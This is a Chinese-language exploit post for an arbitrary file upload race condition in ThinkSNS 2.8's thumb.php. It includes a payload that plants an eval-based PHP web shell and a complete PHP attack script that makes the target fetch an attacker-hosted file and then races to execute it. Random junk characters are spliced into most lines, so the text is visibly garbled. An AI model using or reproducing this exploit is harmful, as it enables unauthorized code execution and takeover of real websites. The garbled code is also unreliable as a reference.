漏洞版本
0 e; ~+ {" u9 A, n. \' k存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)9 N2 G$ G) e* r; `2 E8 J" q: f9 R
漏洞文件9 E' \& ?: g2 ^9 n5 Q7 k
存在漏洞的文件为:thumb.php
* k7 c4 J* e. K! J, z6 j" }作者:韦鲲鹏
- s7 T9 t" e6 {1、 准备如下PHP文件并上传到服务器(自己的)。
- D5 V' x5 {* N$ c- s; w文件内容如下:
+ z1 ^: D9 I' f5 p5 T* V: R4 N<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
( G, F+ U# }( W4 d- v2 _7 {2、 计算出临时的文件名:
5 R3 z! d# O: }) w- L( v3 Y) z这里我们可以看文件的99行(刚刚是不是没注意呀!)。
1 L1 W M0 s4 h9 |# {; m/ T2 Z; C; X- w4 ?( @6 f3 H
3、 上传临时文件。) d" M S0 G2 N+ G- k. }
4、 访问临时文件。9 V/ i2 D1 t9 h7 C+ a2 Z6 W# N/ y
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
0 T+ W& j# P: ^, u) f& tExploit文件内容如下:(这个我就不详细解释了)
2 T$ p+ ]" m; v<?php
$ O4 l* N( ~7 w3 N" B; p/ Uerror_reporting(0);
8 M0 z1 v# s6 w' k. p3 V) sset_time_limit(0);/ }5 E! a' s% K( L7 K4 V
ini_set(“default_socket_timeout”, 5);
* D/ X( _1 r* z4 Gfunction http_send($host, $port, $headers) {
: n: p. O3 h+ @ a% M. H6 y# ^) S$fp = fsockopen($host, $port);+ d( {* k$ P, y9 {. Z
if (!$fp) die(‘Connection -> fail’);) w3 T7 U- l4 @* E
fputs($fp, $headers);
6 N8 {) l* c) Q; v$ _return $fp;7 h) {* M) F; z v0 b Z+ E. n
}& @" G2 ^" W! B6 T0 k- x0 | Q
function http_recv($fp) {( e% X! i) p1 M: ?! a2 j
$ret=”";5 Z+ r; S' |- o- N
while (!feof($fp))3 a1 w$ {) T5 Z: r
$ret.= fgets($fp, 1024);
% f5 z Y7 o3 m1 F* S6 ufclose($fp);
) t$ p5 J# |4 B! j5 q8 treturn $ret;
- s1 m4 l( |+ X+ b} Y* e6 J ]9 ~, w" W" C' M
print “\n# ThinkSns Arbitrary File Upload #\n”;
6 @2 E+ e8 R) Q: Wprint “# Discovered by 韦鲲鹏 #\n\n”;, V4 h5 ^$ @* Y
if ($argc < 4) {% K9 y6 ~! d3 c
print “Usage: php <host> <path> <romote_url>\n”;
7 ], b) \; Y F! B7 {print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
+ S/ [+ G+ _ s7 i" O6 kdie();. t4 I& |7 Q8 }$ u- k8 ^- a
}* c3 W* w3 r% q$ Q
$host = $argv[1];
& G. L$ a8 Z# f1 @4 r$path = $argv[2];
! s7 q- b& |) K4 W2 v5 s" h$url = $argv[3];
. @- k/ u% F8 Y; Y7 @2 f$i=0;
8 l$ c. W ?3 ^" W. O5 Y$ _& a//上传数据包
, t2 R, d# L4 B$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;+ ?2 Z: ~/ V9 I0 y% p+ I8 l
$headers_up .= “Host: “.$host.”\r\n”;& L4 U6 U5 b& j5 p" l& q# l! R
$headers_up .= “Connection: close\r\n\r\n”;
: W0 h/ J9 j' n' M) Q2 Qecho $headers_up;
! E+ A9 j; Z, g6 _" a//临时文件访问数据包: Z4 g m- {* E) o) ?4 o( A g
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
/ u" e$ h0 |5 C, F+ P- C$headers .= “Host: “.$host.”\r\n”;
3 J) j# P5 p, e* L) e, ~$ Y7 J& _$headers .= “Connection: close\r\n\r\n”;4 D% x5 m* w4 s& t" q
echo $headers;
8 v8 M5 p% R2 n4 Mwhile(++$i<10) {
! H: K" W* W8 L/ {8 `% tfclose(http_send($host, 80, $headers));5 j7 m; m% c. N/ ]! z
}4 t o5 S: g9 c* x6 ~
fclose(http_send($host, 80, $headers_up));* w* l- H% S3 `' r9 _
while(++$i<50) {, v' P: N# D2 S" B+ b, q* A
fclose(http_send($host, 80, $headers));9 S- K. U! W! d }3 A4 S
} k6 C. c! G9 D {! G$ q; N2 o" |
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;" g0 r" V* T8 Q
$headers .= “Host: “.$host.”\r\n”;
" i" w# I! w j* A9 Y, y$headers .= “Connection: close\r\n\r\n”;# T1 l4 C2 f4 N) l' G. |
$res=http_recv(http_send($host, 80, $headers));9 ?$ O4 L* J. J! `$ Q" g
if(preg_match(‘/200 OK/’,$res)) {5 W5 Y' f$ K+ ^# g' _0 ?
print “Success!\n\n”;
2 V5 D- n2 @, V, t8 @} else {
* o" T) o3 [/ ^' h ]& Lprint “Fail!\n\n”;
+ N# U: f" t; m1 h}
& M6 ?* q Y$ E6 R?>
% ]- O* D1 {) I' u3 O |